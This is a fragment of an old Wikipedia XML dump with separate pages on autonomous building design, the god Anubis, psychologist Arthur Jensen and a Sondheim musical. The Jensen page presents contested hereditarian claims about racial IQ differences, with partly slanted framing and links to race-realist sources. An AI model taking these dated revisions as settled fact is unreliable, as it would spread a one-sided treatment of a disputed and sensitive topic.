A small supplementary heater can substantially reduce the required amount, and expense, of thermal mass, and also reduce lifestyle impacts with a small reduction of autonomy. A popular system for ultra-high-efficiency houses is a central hydronic (radiator) air heater with water recirculating from the water heater.

A new system used in some commercial buildings is to provide heating, often water heating, from the output of a gas turbine or stirling electric generator. [http://www.microturbine.com/technology/whitePapers.asp ]

Houses designed to cope with interruptions in civil services generally incorporate a wood stove, or heat from diesel fuel or bottled gas, regardless of their other heating mechanisms.

Electric heaters and electric stoves provide pollution-free heat, but they consume large amounts of electricity. If enough electricity is provided by solar panels, wind turbines, or other means, then electric heaters and stoves become a practical option.

=== Water heating ===

Solar water heaters are widely useful because they can save large amounts of fuel.  Also, small changes in lifestyle, such as doing laundry, dishes and bathing on sunny days, can greatly increase their efficiency.

The basic trick in a solar water heating system is to use a well-insulated holding tank.  Some systems are vacuum insulated, acting something like large thermos bottles.  The tank is filled with hot water on sunny days, and made available at all times.  Unlike a conventional tank water heater, the tank is filled only when there is sunlight.

Good storage makes a smaller, higher-technology collector feasible.  Such collectors can use relatively exotic technologies, such as vacuum insulation, and reflective concentration of sunlight.

Current practical, comfortable water-heating systems combine the solar heating system with a thermostatic gas-powered flow-through heater, so that the temperature of the water is consistent, and the amount is unlimited.  This again reduces life-style impacts at some cost in autonomy.

However, this compromise can still save 50-75% of the gas otherwise used, and the resulting system is redundantly reliable.  If either system fails, the other can continue to provide hot water until the equipment is repaired, fuel or sunlight becomes available, etc.

But can any building that uses fossil fuel be called &quot;autonomous?&quot; Natural gas can be replaced by methane digesters, fueled by composting human excrement and kitchen scraps, or a biodiesel &quot;co-gen&quot; can produce both electricity and hot water from oilseed crops grown on-site.

=== Cooling ===

[[Earth sheltering]] or [[passive solar heating|annualized passive solar systems]] substantially reduce the cooling needed by a building.  In temperate climates several feet below the earth the average temperature ranges from 4 °C (40 °F) in North Dakota to 26 °C (80 °F), in Southern Florida.  Annualized passive solar buildings often have buried, sloped water-tight skirts of insulation that extend 6 m (20 ft) from the foundations, to prevent heat leakage between the earth used as thermal mass, and the surface.

Less dramatic improvements are possible.  Windows can be shaded in summer.  Eaves can be overhung to provide the necessary shade.  These also shade the walls of the house, reducing cooling costs.

Another trick is to cool the building's thermal mass at night, and then cool the building from the thermal mass during the day.  It helps to be able to route cold air from a sky facing radiator (perhaps an air heating solar collector with an alternate purpose) or evaporative cooler directly through the thermal mass.  On clear nights, even in tropical areas, sky facing radiators can cool below freezing.

If a circular building is aerodynamically smooth, and cooler than the ground, it can be passively cooled by the &quot;dome effect.&quot;  Many installations have reported that a reflective or light colored dome induces a local vertical heat driven vortex that sucks cooler overhead air downward into a dome if the dome is vented properly (a single overhead vent, and peripheral vents).  Some persons have reported a temperature differential as high as 15 °F (8 °C) between the inside of the dome and the outside. [[Buckminster Fuller]] discovered this effect with a simple house design adapted from a grain silo, and adapted his [[Dymaxion house]] and [[geodesic dome]]s to use it.

Refrigerators and air conditioners operating from the waste heat of a diesel engine exhaust, heater flue or solar collector are entering use.  These use the same principles as a gas refrigerator.  Normally, the heat from a flue powers an &quot;[[absorptive chiller]].&quot;   The cold water or brine from the chiller is used to cool air or a refrigerated space.

Cogeneration is popular in new commercial buildings.  In current cogeneration systems small gas turbines or [[stirling engine]]s powered from natural gas produce electricity and their exhaust drives an absorptive chiller, heats water.

A truck trailer refrigerator operating from the waste heat of a tractor's diesel exhaust was demonstrated by NRG Solutions, Inc. 11385 Shipley Road Johnstown, OH 43031, for EPA contract No. 68D98131.  NRG developed a hydronic ammonia gas heat exchanger and vaporizer, the two essential new, not commercially available components of a waste heat driven refrigerator.

A similar scheme (multiphase cooling) can be by a multistage evaporative cooler.  The air is passed through a spray of salt solution to dehumidify it, then through a spray of water solution to cool it, then another salt solution to dehumidify it again.  The brine has to be regenerated, and that can be done economically with a low temperature solar still.  Multiphase evaporative coolers can lower the air's temperature by 50F, and still control humidity.  If the brine regenerator uses high heat, they also partially sterilise the air.

If enough electric power is available, cooling can be provided by conventional air conditioning using a [[heat pump]].

=== Food ===

Food production has often been included in historic autonomous projects to provide security. Skilled, intensive [[garden|gardening]] can support an adult from as little as 15 square meters of land.  Some proven intensive, low-effort food-production systems include [[hydroponics]], and [[forest gardening]].

=== Communication ===

[[Public switched telephone network|Telephone]] and [[Telecommunications network|network]] service will probably be purchased.

A increasing number of activists provide free or very inexpensive [[World Wide Web|web]] and [[email]] services using cooperative computer networks that run wireless [[ad hoc network]]s. Network service is provided by a cooperative of neighbors, each operating a router as a household appliance.  These minimize wired infrastructure, and its costs and vulnerabilities.

[[Satellite]] internet service also can provide high speed connectivity to remote locations, but as of early [[as of 2002|2002]], most of these services are limited in which types of network hardware and operating systems they support. They are also not yet on par with the costs of [[cable modem]] or [[Digital Subscriber Line|DSL]] service providers.

==Financing==

If considering a system for the economics, run the numbers with real utility prices.  Most utilities have prices 5-10% below the amortized price of the mass-produced rural systems they replace (e.g., electricity will be just below the fuel costs and amortization of a generator powered from natural gas).  However, many people pay for utilities from after-tax income, so even the simplest home-based utilities can be 15-45% more efficient by creating untaxed value.  Clever purchasing (e.g. in internet co-ops) can cut capital costs.

Unless the area has local nuclear or hydroelectric power, new construction can often afford to make its own heat and light.

In the coldest areas of the U.S. passive solar heat in new construction costs only 15% more than normal construction.  In milder areas, it costs ''nothing'' and is therefore a great bargain.  A passive-solar house usually commands a 15-20% price premium.

In Southern California, new solar roofs already provide cheaper electricity than utilities, because they keep the rain out, and the amortized cost of such electricity is cheaper than the power prices.  In most great plains areas, a 10-meter wind turbine on a hundred-foot (30 m) tower will run an all-electric house, for 10% or less of a new house's cost.

Sewage and water are more marginal.  Local health regulations can be problematic, and bulk water and sewage services are usually cheap.  Water and sewage systems also have unattractive costs, lifestyle and mechanical reliability issues.  Groundwater poisoning, deep green beliefs and high utility prices can motivate installations.

In all rural and most suburban areas buying land for swales instead of digging storm-drains creates a more valuable and more pleasant building.


==See also==
*[[architectural engineering]]
*[[biosphere]]
*[[Biosphere 2]]
*[[Building construction]]
*[[eco-village]]
*[[Distributed generation]]
*[[energy efficiency]]
*[[environmental engineering]]
*[[life support system]]
*[[renewable energy]]
*[[wind turbine]]
*[[solar power]]
*[[solar heating]]
*[[thermal insulation|insulation]]
*[[composting]]
*[[straw-bale construction]]
*[[natural capitalism]]

== External links ==
* The [http://www.bfi.org Buckminster Fuller Institute] is still in existence.  B. Fuller left thousands of pages of notes to the university where he last taught.
* There is a section on [http://reality.sculptors.com/cgi-bin/wiki?Autonomous_Houses Autonomous Houses] in the [http://reality.sculptors.com/cgi-bin/wiki Reality Sculptors] wiki, including links to a mailing list which frequently discusses autonomous design considerations.
* Designs for a [[geodesic dome]] version of an Autonomous House can be found at  http://reality.sculptors.com/~salsbury/House/
* &quot;Wind Power for Home and Business&quot; by Paul Gipe
* [http://www.solarenergymag.com Solar Energy Magazine]
* [http://www.onlineopinion.com.au/view.asp?article=1906  An opinion piece by Brenda and Robert Vale]
* [http://www.off-grid.net/index.php  www.off-grid.net]

[[Category:Building engineering]]
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    <title>Archimedes screw</title>
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    <title>Anubis</title>
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      <comment>Reverted edits by [[Special:Contributions/68.45.198.61|68.45.198.61]] ([[User talk:68.45.198.61|talk]]) to last version by Dvavasour</comment>
      <text xml:space="preserve">:''This article is about the Egyptian god.'' {{otheruses}}
{{Hiero|Anubis|&lt;hiero&gt;i-n:p-w-E16&lt;/hiero&gt;|align=right|era=egypt}}
'''Anubis''' is the [[Greek language|Greek]] name for the ancient [[god]] in [[Egyptian mythology]] whose [[hieroglyph]]ic is more accurately spelt '''Anpu''' (also '''Anup''', '''Anupu''', '''Wip''', '''Ienpw''', '''Inepu''', '''Yinepu''', or '''Inpw'''). He is also known as Sekhem Em Pet. Prayers to Anubis have been found carved on the most ancient tombs in Egypt; indeed, the [[Unas]] text (line 70) associates him with the [[Eye of Horus]].

==Lord of the dead==
[[Image:Anubis standing.jpg|thumb|140px|left|Anubis]]
Originally, in the [[Ogdoad]] system, he was god of the [[duat|underworld]], and his name is frequently thought to have reflected this, meaning something like ''[[putrefaction]]''. He was said to have a wife, '''Anput''' (who was really just his female aspect, her name being his with an additional feminine [[suffix]]: the ''t''), who was depicted exactly the same, though feminine. His father was originally said to be [[Ra]], as he was the creator god, and thus his mother was said to be [[Hesat]], Ra's wife, who later was identified as [[Hathor]] (who her identity was remarkably similar to). As lord of the underworld, Anubis was identified as the father of [[Kebechet]], the goddess of the purification of bodily organs due to be placed in [[canopic jar]]s during [[Mummy|mummification]]. 

[[Dog]]s and [[jackal]]s often loitered at the edges of the desert, especially near the cemeteries where the dead were buried; in fact, it is thought that the Egyptians began the practice of making elaborate graves and tombs in order to protect the dead from desecration by jackals. In consequence, Anubis was usually thought of as a jackal, an association reinforced by certain variations of his hieroglyph, which can be translated as ''young dog''. Thus, ancient Egyptian texts say that Anubis, like a jackal, silently walked through the shadows of life and death and lurked in dark places, watchful by day as well as by night.

In [[art]], he was usually depicted as a man with the head of a [[jackal]] and alert [[ear]]s, often wearing a [[ribbon]], and wielding a [[whip (implement)|whip]]. On very rare occasions, Anubis was shown fully human, or slightly more frequently as fully jackal. However, Anubis was also depicted as [[black]], rather than [[brown]], the colour of jackals, since black was the [[color|colour]] that the body turned as a result of [[Mummy|mummification]].

As ruler over the dead, he was given titles such as ''He who is set upon his mountain'', in reference to his sitting atop desert cliffs to guard multiple [[necropolis]], and '''Chontamenti''' (also spelt '''Khentimentiu''', and '''Khentamenti'''), meaning ''Lord of the Westerners'', in reference to Egyptian belief that the entrance to the underworld was towards the west, since that was the direction in which the sun set. As ruler, he was also said to have been victorious over the dark forces (described as ''[[nine bows]]''), which also, naturally, lurk in the underworld, gaining him the title ''Jackal ruler of the bows''.

As king of the underworld, he was also considered to be the one who weighed the [[Egyptian soul|heart of the dead]] against the feather of [[Maàt]] (the concept of truth), gaining him the title ''He who counts the hearts''. One of the reasons that the ancient Egyptians took such care to preserve their dead with sweet-smelling herbs was that it became believed Anubis would check each person with his keen canine nose.  Only if they smelled pure would he allow them to enter the Kingdom of the Dead.

==Embalmer==
[[Image:Anubis statuette 2.jpg|thumb|Statuette of Anubis]]

Following the merging of the [[Ennead]] and [[Ogdoad]] belief systems, as a result of the identification of [[Atum]] with [[Ra]], and their compatibility, Anubis became considered a lesser god in the underworld, giving way to the more popular [[Osiris]]. Indeed, when the [[Legend of Osiris and Isis]] emerged, it was said that when Osiris had died, Anubis stood down from his position out of respect for Osiris.

Since he had been more associated with beliefs about the weighing of the heart than had Osiris, Anubis retained this aspect, and became considered more the [[gatekeeper]] of the underworld, the ''Guardian of the veil'' (of ''death''). As such, he was said to protect souls as they journeyed there, and thus be the patron of [[lost soul]]s (and consequently [[orphan]]s). Rather than god of death, he had become god of dying, and consequently funeral arrangements. It was as the god of dying that his identity merged with that of [[Wepwawet]], a similar jackal-headed god, associated with funerary practice, who had been worshipped in [[Upper Egypt]], whereas Anubis' cult had centred in [[Lower Egypt]].

As one of the most important funerary rites in Egypt involved the process of [[embalming]], so it was that Anubis became the god of embalming, in the process gaining titles such as ''He who belongs to the mummy wrappings'', and ''He who is before the divine [embalming] [[booth]]''. High priests often wore the Anubis mask to perform the ceremonial deeds of embalming. It also became said, frequently in the [[Book of the dead]], that it had been Anubis who embalmed the dead body of Osiris, with the assistance of the other main funerary deities involved - Nepthys, and Isis. Having become god of embalming, Anubis became strongly associated with the (currently) mysterious and ancient [[imiut fetish]], present during funerary rites, and [[Bast (goddess)|Bast]], who by this time was goddess of ointment, initially became thought of as his mother.

However, as lesser of the two gods of the underworld, he gradually became considered the son of Osiris, but Osiris' wife, Isis, was not considered his mother, since she too inappropriately was associated with life. Instead, his mother became considered to be [[Nepthys]], who had become strongly associated with funerary practice, indeed had in some ways become the personification of [[mourning]], and was said to supply bandages to the deceased. Subsequently, this apparent infidelity of Osiris was explained in myth, in which it was said that a [[Sexual frustration|sexually frustrated]] Nepthys had disguised herself as Isis in order to appeal to her husband, Set, but he did not notice her as he was [[gay]] and [[infertility|infertile]], whereas Isis' husband Osiris did, mistaking her for his wife, which resulted in Anubis' birth. Some more [[homophobia|homophobic]] versions of the myth depict Set as the father.

In later times, during the [[Ptolemy|Ptolemaic]] period, as their functions were similar, Anubis was identified as the [[Greek mythology|Greek]] god [[Hermes]], becoming [[Hermanubis]]. The centre of this [[cult]] was in ''uten-ha''/''Sa-ka''/[[Cynopolis]], a place whose Greek name simply means ''city of dogs''. In Book xi of ''[[The Golden Ass]]'' by [[Apuleius]], we find evidence that the worship of this god was maintained in Rome at least up to the 2nd century. Indeed, Hermanubis also appears in the [[alchemy|alchemical]] and [[Hermeticism|hermetical]] literature of the [[Middle Ages]] and the [[Renaissance]].

==Anubis in modern culture==
[[Image:Anubis sculpture.jpg|thumb|Anubis sculpture]]
* [[Anubis (Stargate)|Anubis]] appears in the TV show ''[[Stargate SG-1]]'' as a hostile [[Goa'uld]].
* Anubis is featured in the movies ''The Mummy,[[The Mummy Returns]]'' and ''[[The Scorpion King]]''.
* Anubis appears as 'Jaquel', co-running a funeral parlor in [[Neil Gaiman]]'s [[novel]] ''[[American Gods]]''.
* ''Anubis: Jackal God Of Death'' is the name of a 1997 album by [[Ganesha (band)]].
* Anubis appears in an episode of the animated TV series ''[[Gargoyles (animated series)|Gargoyles]]''.
* Anubis is the focus of a series of [[erotica|erotic]] [[furry]] [[comic book]]s produced by [[Radio Comix]].
* Anubis is worshipped by certain groups of [[Neopaganism|Neopagans]]
* Anubis is the name of a Greek publishing house (www.anubis.gr).
* Anubis is a primary character in [[Stephen King]]'s made-for-TV adaptation of [[Lars von Trier]]'s series ''[[Kingdom Hospital]]''.
* The Pokémon named [[Lucario]] is visually based on the image of Anubis. 
* The fictional ship S.S. Anubis appears in ''[[Jet Force Gemini]]''.
* Anubismon is a [[Digimon]] in the [[Digimon]] [[collectible card game]] based on Anubis.
* Anubis is a character in [[Yu-Gi-Oh! The Movie]]. In that movie he was depicted as an evil entity wanting to take over the world, and he had the [[Pyramid of Light]], one of the [[Millennium Items]]. He is also depicted on various cards in the ''[[Yu-Gi-Oh! Trading Card Game]]''.
* Anubis appears in several computer games such as [[War Gods]], [[Zone of the Enders]], [[Broken Sword]] 3 and [[Gex (video game series)|Gex 3]].
* Anubis is the name of a space ship that appears in the [[Microsoft]] PC game [[Freelancer]]. The Anubis is a heavy fighter type available late in the game from the Order. It is often remarked to be the cheapest heavy fighter in the game at 1,100 credits. 
* Anubis is the main character of [[Unreal Championship 2]], and is a high-ranking member of the Desert Legion. He enters the Liandri-hosted Ascension Rites to stop [[Selket]]'s plan.
* Anubis, together with [[Bastet]], was the main [[villain]] of the &quot;[[Nikopol trilogy]]&quot; of [[graphic novel]]s by cartoonist [[Enki Bilal]].
* A [[Petpet]] on the [[virtual pet]] website [[Neopets]] is called the Anubis, and resembles a small version of the god.
* [[Chief Anubis &quot;Doggie&quot; Cruger|Anubis Cruger]], a.k.a. Doggie Cruger, is a dog-like blue humanoid alien, commander of [[Power Rangers SPD]] and the Shadow Ranger. 
* Doggy Kruger, stuffed counterpart of the previous one in [[Tokusou Sentai Dekaranger]], serves as commander and fights as Dekamaster.
* Anubis is the name of a battlechip in the Mega Man Battle Network Series.
* In Mega Man Zero series, there is a jackal reploid boss called Anubistepp Necromancess who comes in various versions.
*Anubis appears in the cartoon [[Tutenstein]]
*Anubis is the name of a villain who turns good in the anime series Ronin Warriors
*Anubis is one of the possible minor gods to worship in the Age of Mythology PC games
*Many forms of Anubis are included in [[World Of Warcraft]]'s 1.9 patch called [[Ahn'Qiraj]]. Two Anubises guard each part of Ahn'Qiraj invasion found across [[Warcraft Universe]]

==External links==
*Some information in this article was taken from the Egyptian Ministry of Tourism website at http://www.touregypt.net/ANUBIS.htm

[[Category:Death gods]]
[[Category:Egyptian gods]]
[[Category:Mythological dogs]]

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  <page>
    <title>Arthur Jenson</title>
    <id>3028</id>
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      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
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      <text xml:space="preserve">#REDIRECT [[Arthur Jensen]]
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  <page>
    <title>Arthur Jensen</title>
    <id>3029</id>
    <revision>
      <id>40133192</id>
      <timestamp>2006-02-18T10:51:28Z</timestamp>
      <contributor>
        <username>Sicherlich</username>
        <id>100661</id>
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      <comment>removed [[da:Arthur Jensen]] .. wrong person</comment>
      <text xml:space="preserve">[[Image:Jensen2.jpg|right|thumb|200px|Arthur Jensen]]

'''Arthur Jensen''' is a prominent [[UC Berkeley]] supergrade professor emeritus of [[educational psychology]], known for his work in [[psychometrics]] and [[differential psychology]], which is concerned with how and why individuals differ behaviorally from one another.  Jensen is a leading authority on [[IQ]], and his work on testing bias is canonical. He is a major proponent of the [[hereditarianism|hereditarian]] position in the [[nature versus nurture]] debate, the position that concludes [[genetics]] play a significant role in behavioral traits, such as [[intelligence (trait)|intelligence]] and personality traits.  He is the author of over 400 scientific papers published in refereed journals.[http://www.isteve.com/jensen.htm]

Jensen was born [[August 24]], [[1923]], and studied at [[University of California, Berkeley]] (B.A. 1945), [[San Diego State College]] (M.A., 1952) and [[Columbia University]] (Ph.D., 1956).

==IQ and academic achievement==
Jensen's most controversial work, published in February [[1969]] in the ''[[Harvard Educational Review]]'', was titled &quot;How Much Can We Boost I.Q. and Scholastic Achievement?&quot; It concluded, among other things, that &quot;head start&quot; programs designed to boost [[African-American]] [[IQ]] scores had failed, and that this was likely never to be remedied, largely because, in Jensen's estimation, over 70% of the within race IQ variability was due to genetic factors, and the  30% left over was due to non-shared environmental influences (e.g., prenatal drug exposure, placental nutrient competition  when there are multiple births).

When the work was initially published, students and faculty staged large, loud protests outside his [[University of California, Berkeley]] office, and he received multiple death threats. He was even denied reprints of his work by his publisher and was not permitted to reply in response to letters of critism -- both extremely unusual and exceptional policies for their day. Many colleagues at the time felt that even if Jensen's work contained no scientific merit, his treatment was itself against the spirit of science and the free exchange of ideas.

[[Image:Jensen1.jpg|right|thumb|Arthur Jensen winning the 2003 [[Kistler Prize]].]]
In a later article, Jensen argued that his claims had been misunderstood:

:...nowhere have I &quot;claimed&quot; an &quot;innate deficiency&quot; of intelligence in blacks. My position on this question is clearly spelled out in my most recent book: &quot;The plain fact is that at present there exists no scientifically satisfactory explanation for the differences between the IQ distributions in the black and white populations. The only genuine consensus among well-informed scientists on this topic is that the cause of the difference remains an open question&quot; (Jensen, 1981a, p. 213).

[[Thomas Sowell]] wrote:
:Professor Jensen pointed out back in 1969 that black children's IQ scores rose by 8 to 10 points after he met with them informally in a play room and then tested them again after they were more relaxed around him. He did this because &quot;I felt these children were really brighter than their IQ would indicate.&quot; What a shame that others seem to have less confidence in black children than Professor Jensen has had. [http://www.townhall.com/opinion/columns/thomassowell/2002/10/01/164398.html]

Nevertheless, eugenicists and others point to passages such as the following (from his book ''The ''g'' Factor: The Science of Mental Ability'') to support their claim that Jensen has proven that differences in IQ scores between races are mostly genetic:
:In Chapter 12: Population Differences in ''g'': Causal Hypotheses, Jensen writes: &quot;The relationship of the ''g'' factor to a number of biological variables and its relationship to the size of the white-black differences on various cognitive tests (i.e., [[Spearman's hypothesis]]) suggests that the average white-black difference in ''g'' has a biological component. Human races are viewed not as discrete, or Platonic, categories, but rather as breeding populations that, as a result of natural selection, have come to differ statistically in the relative frequencies of many polymorphic genes. The genetic distances between various populations form a continuous variable that can be measured in terms of differences in gene frequencies. Racial populations differ in many genetic characteristics, some of which, such as brain size, have behavioral and psychometric correlates, particularly ''g''.&quot;

== Gould's criticism ==
Paleontologist [[Stephen Jay Gould]], known for his popularizations of science in mass market books and magazines, attacked Jensen's work in his 1981 book ''[[The Mismeasure of Man]].''  

Gould makes three criticisms.  The first is the criticism commonly leveled against Jensen and other researchers dealing with [[race and intelligence]]:that Jensen misapplies the concept of &quot;heritability.&quot;  [[Heritability]] measures the percentage of variation of a trait due to inheritance, ''within'' a population. (Gould 1981: 127; 156-156). Jensen has used the concept of heritability to measure differences in inheritance ''between'' populations, and this is the basis of the criticism.

Secondly, Gould disagrees with Jensen's belief that IQ tests measure a real variable, ''g'', or &quot;the [[general factor]] common to a large number of cognitive abilities&quot; which can be measured along a unilinear scale. This is a claim most closely identified with [[Cyril Burt]] and [[Charles Spearman]]. According to Gould, Jensen misunderstood the research of [[L. L. Thurstone]] to ultimately support this claim; Gould however argues that Thurstone's [[factor analysis]] of intelligence revealed ''g'' to be an illusion (1981: 159; 13-314).

Third, Gould disagrees with Jensen's support of the attempts of others to calculate the IQ's of dead people (such as the famous astronomer and Prussian monetary theorist [[Nicolaus Copernicus]]) (1981: 153-154).

In a 1982 review of Gould's book Jensen gives point-by-point rebuttals to Gould's characterizations of his work, including Gould's treatment of heritability, the &quot;reification&quot; of ''g'' and the use of Thurstone's analysis. Gould's responses can be found in the latest edition of ''[[The Mismeasure of Man]]'' (1996).

In Arthur Jensen's response to Gould's criticisms, in the paper titled ''The Debunking of Scientific Fossils and Straw Persons''.[http://www.mugu.com/cgi-bin/Upstream/jensen-gould-fossils], Jensen begins his paper with this observation

:&quot;Stephen Jay Gould is a paleontologist at Harvard's Museum of Comparative Zoology and offers a course at Harvard entitled, &quot;Biology as a Social Weapon.&quot; Apparently the course covers much the same content as does the present book. Having had some personal cause for interest in ideologically motivated attacks on biologically oriented behavioral scientists, I first took notice of Gould when he played a prominent role in a group called Science for the People and in that group's attack on the theories of Harvard zoologist Edward O. Wilson, a leader in the development of sociobiology...&quot;

Among a number of other objections to Gould's conclusions found in Jensen's paper, Jensen states that Gould relies on information that is outdated while ignoring present research and information that does not support his conclusions.  

:&quot;...Of all the book's references, a full 27 percent precede 1900. Another 44 percent fall between 1900 and 1950 (60 percent of those are before 1925); and only 29 percent are more recent than 1950. From the total literature spanning more than a century, the few &quot;bad apples&quot; have been hand-picked most aptly to serve Gould's purpose.&quot;

In addition, Jensen indicates that Gould may have intentionally misrepresented Jensen's own views.  Jensen adds

:&quot;In his references to my own work, Gould includes at least nine citations that involve more than just an expression of Gould's opinion; in these citations Gould purportedly paraphrases my views. Yet in eight of the nine cases, Gould's representation of these views is false, misleading, or grossly caricatured. Nonspecialists could have no way of knowing any of this without reading the cited sources. While any author can occasionally make an inadvertent mistake in paraphrasing another, it appears Gould's paraphrases are consistently slanted to serve his own message. Through hyperbole and caricature he converts real issues into straw persons, which can be easily disproved.&quot;

See also: the discussion of [[race and intelligence]].

==Recent books==
===The ''g'' Factor===
''The ''g'' Factor: The Science of Mental Ability'' (1998) is considered by supporters to be Jensen's magnum opus on the [[general intelligence factor]] (''g'').  The book deals with the intellectual history of the discovery of g and various models of how to conceptualize intelligence, and with the biological correlates of g, its heritability, and its practical predictive power.

===Clocking the Mind===
''Clocking the Mind : Mental Chronometry and Individual Differences'' (to be published in April 2006) is on [[mental chronometry]] (MC), a variety of techniques for measuring the speed with which the brain processes information.  Whereas [[IQ]] merely represents an ordinal (ranking) scale and thus possesses no true scale properties, Jensen argues mental chronometry represents a true natural science of mental ability.

==Further Reading==

===Interviews===
[http://www.missouri.edu/~aab2b3/SASP-Su2002.pdf SASP Interviews: Arthur R. Jensen.] Beaujean, A. A. (2002, July). SASP News, 2 (4). (pdf)

[http://www.amren.com/928issue/928issue.html &quot;A Conversation With Arthur Jensen (Part 1)&quot;]. (1992). ''[[American Renaissance (magazine)|American Renaissance]]'', 3(8).

[http://www.amren.com/929issue/9209issue.html &quot;A Conversation With Arthur Jensen (Part 2&quot;]. (1992). ''American Renaissance'', 3(9).

[http://books.google.com/books?vid=ISBN081334008X ''Intelligence, Race, and Genetics: Conversations with Arthur R. Jensen.''] (2002) Miele F, Jensen AR. Westview Press. ISBN 081334008X

===Selected Articles &amp; Book Chapters===
[[J. Philippe Rushton|Rushton, J. P.]], &amp; Jensen, A. R.. (2005). Thirty years of research on Black-White differences in cognitive ability. ''Psychology, Public Policy, &amp; the Law, 11,'' 235-294. ([http://www.ssc.uwo.ca/psychology/faculty/rushtonpdfs/PPPL1.pdf pdf])

Rushton, J. P., &amp; Jensen, A. R. (2005). Wanted: More race-realism, less moralistic fallacy. ''Psychology, Public Policy, and Law, 11,'' 328-336. ([http://www.ssc.uwo.ca/psychology/faculty/rushtonpdfs/PPPL2.pdf pdf])

Rushton, J. P., &amp; Jensen, A. R. (2003). African-White IQ differences from Zimbabwe on the Wechsler Intelligence Scale for Children-Revised are mainly on the ''g'' factor. ''Personality and Individual Differences, 34,'' 177-183. ([http://www.ssc.uwo.ca/psychology/faculty/rushtonpdfs/Rushton-Jensen2003PAID.pdf pdf])


Jensen, A. R. (2002). Galton's legacy to research on intelligence. ''Journal of Biosocial Science, 34,'' 145-172.

Jensen, A. R. (2002). Psychometric g: Definition and substantiation. In R. J. Sternberg, &amp; E. L. Grigorenko (Eds.). ''The general factor of intelligence: How general is it?'' (pp. 39-53). Mahwah, NJ, US: Lawrence Erlbaum.

Jensen, A. R. (2000). Testing: The dilemma of group differences. ''Psychology, Public Policy, &amp; Law, 6,'' 121-128.

Jensen, A. R. (1998) The g factor and the design of education. In R. J. Sternberg &amp; W. M. Williams (Eds.), ''Intelligence, instruction, and assessment: Theory into practice.'' (pp. 111-131). Mahwah, NJ: Lawrence Erlbaum.

Jensen, A. R. (1996). Giftedness and genius: Crucial differences. In C. P. Benbow, &amp; D. J. Lubinski (Eds), ''Intellectual talent: Psychometric and social issues'' (pp. 393-411). Baltimore: Johns Hopkins University. 

Jensen, A. R. (1995). Psychological research on race differences. ''American Psychologist, 50,'' 41-42.

Jensen, A. R. (1993). Spearman's g: Links between psychometrics and biology. In F. M. Crinella, &amp; J. Yu (Eds.), ''Brain mechanisms: Papers in memory of Robert Thompson'' (pp. 103-129). New York: Annals of the New York Academy of Sciences.

Jensen, A. R. (1993). Why is reaction time correlated with psychometric g? ''Current Directions in Psychological Science, 2,'' 53-56.

Jensen, A. R. (1989). The relationship between learning and intelligence. ''Learning and Individual Differences, 1,'' 37-62.

Kranzler, J. H., &amp; Jensen, A. R.(1989). Inspection time and intelligence: A meta-analysis. ''Intelligence, 13,'' 329-347.

Jensen, A. R. (1974). Ethnicity and scholastic achievement. ''Psychological Reports, 34,'' 659-668.

Jensen, A. R. (1974). Kinship correlations reported by Sir Cyril Burt. ''Behavior Genetics, 4,'' 1-28.

==External links==
*[http://www.individualdifferences.info/LondonJensen.htm The London School of Differential Psychology: Arthur R. Jensen]
*[http://www.missouri.edu/~aab2b3/JensenPresentation.ppt Powerpoint presentation of Jensen's biography]
*[http://www.debunker.com/texts/jensen.html Jensen's Response to Gould's Criticisms]

[[Category:1923 births|Jensen, Arthur]]
[[Category:Living people|Jensen, Arthur]]
[[Category:Psychologists|Jensen, Arthur]]
[[category:London School of Differential Psychology|Jensen, Arthur]]
[[Category:Race and intelligence controversy|Jensen, Arthur]]

[[de:Arthur Jensen]]</text>
    </revision>
  </page>
  <page>
    <title>A Funny Thing Happened on the Way to the Forum</title>
    <id>3032</id>
    <revision>
      <id>41726050</id>
      <timestamp>2006-03-01T08:49:30Z</timestamp>
      <contributor>
        <username>SamuelWantman</username>
        <id>68446</id>
      </contributor>
      <comment>Richard Lester</comment>
      <text xml:space="preserve">[[Image:A-Funny-Thing-Happened-on-the-Way-to-the-Forum.jpg|thumb|right|300px|&quot;A Funny Thing Happened on the Way to the Forum&quot; (CD)]]

'''''A Funny Thing Happened on the Way to the Forum''''' is a [[musical theater|musical]] with music and lyrics by [[Stephen Sondheim]] and a book by [[Burt Shevelove]] and [[Larry Gelbart]].  

Based on the comedies of the [[ancient Roman]] playwright [[Plautus]], it tells the story of a [[slavery|slave]] named Pseudolus and his attempts to win his freedom by encouraging the romance between his master's son Hero and a young virgin named Philia who is owned by Marcus Lycus, a dealer in [[courtesan]]s, and promised to a swaggering soldier named [[Miles Gloriosus]].  The humor is broad and bawdy and fast-paced.

Sondheim's score was coolly received when ''Forum'' opened on [[Broadway theatre|Broadway]] on [[May 8]], [[1962]], at the [[Alvin Theatre]], and the score was not even nominated for a [[Tony Award]] even though the show won the award for [[Tony Award for Best Musical|Best Musical]].  Starring [[Zero Mostel]], [[Jack Gilford]], [[David Burns (actor)|David Burns]], [[Ruth Kobart]], and [[John Carradine]] (who was replaced by [[Erik Rhodes]]), the original production was directed by Broadway legend [[George Abbott]] and played 966 performances--Sondheim's longest Broadway run to date.

''A Funny Thing Happened on the Way to the Forum'' was made into a [[musical film|film]] in 1966 directed by [[Richard Lester]] with [[Zero Mostel]], [[Jack Gilford]], [[Buster Keaton]], a very young [[Michael Crawford]] and [[Phil Silvers]] (who also starred in a critically well-received Broadway [[revival (play)|revival]] in [[1972]]).  It was also revived with great success in [[1996]] with [[Nathan Lane]] as Pseudolus, replaced later in the run by [[Whoopi Goldberg]], and also [[David Alan Grier]].

The show was presented twice in London's West End starring [[Frankie Howerd]] as Pseudolus.  At the [[Strand Theatre]] in 1963 and the [[Piccadilly Theatre]] in 1986.


==Characters==

*Pseudolus &amp;ndash; A Roman slave, owned by Hero, who seeks to win his freedom by helping his young master win the heart of a virgin in the house of Marcus Lycus.
*Hero &amp;ndash; Young son of Senex who falls in love with the virgin, Philia.
*Philia &amp;ndash; A virgin in the house of Marcus Lycus, and Hero's love interest.
*Senex &amp;ndash; A [[Roman Senator]] living in a less fashionable suburb of Rome.
*Marcus Lycus &amp;ndash; A purveyor of courtesans, who operates from the house to the left of Senex.
*Domina &amp;ndash; The wife of Senex.
*Erronius &amp;ndash; The elderly neighbor to the right of Senex who is searching for his two children, kidnapped in infancy by pirates.
*Gymnasia &amp;ndash; A mute courtesan from the house of Senex (she is mute only in the film).
*Miles Gloriosus &amp;ndash; A conceited captain in the Roman army.
*Hysterium &amp;ndash; The chief slave in the house of Senex.
*Fertilla the Populator &amp;ndash; A female &quot;Breeding Slave&quot; (film only).
*Crassus &amp;ndash; A merchant at the docks (film only).
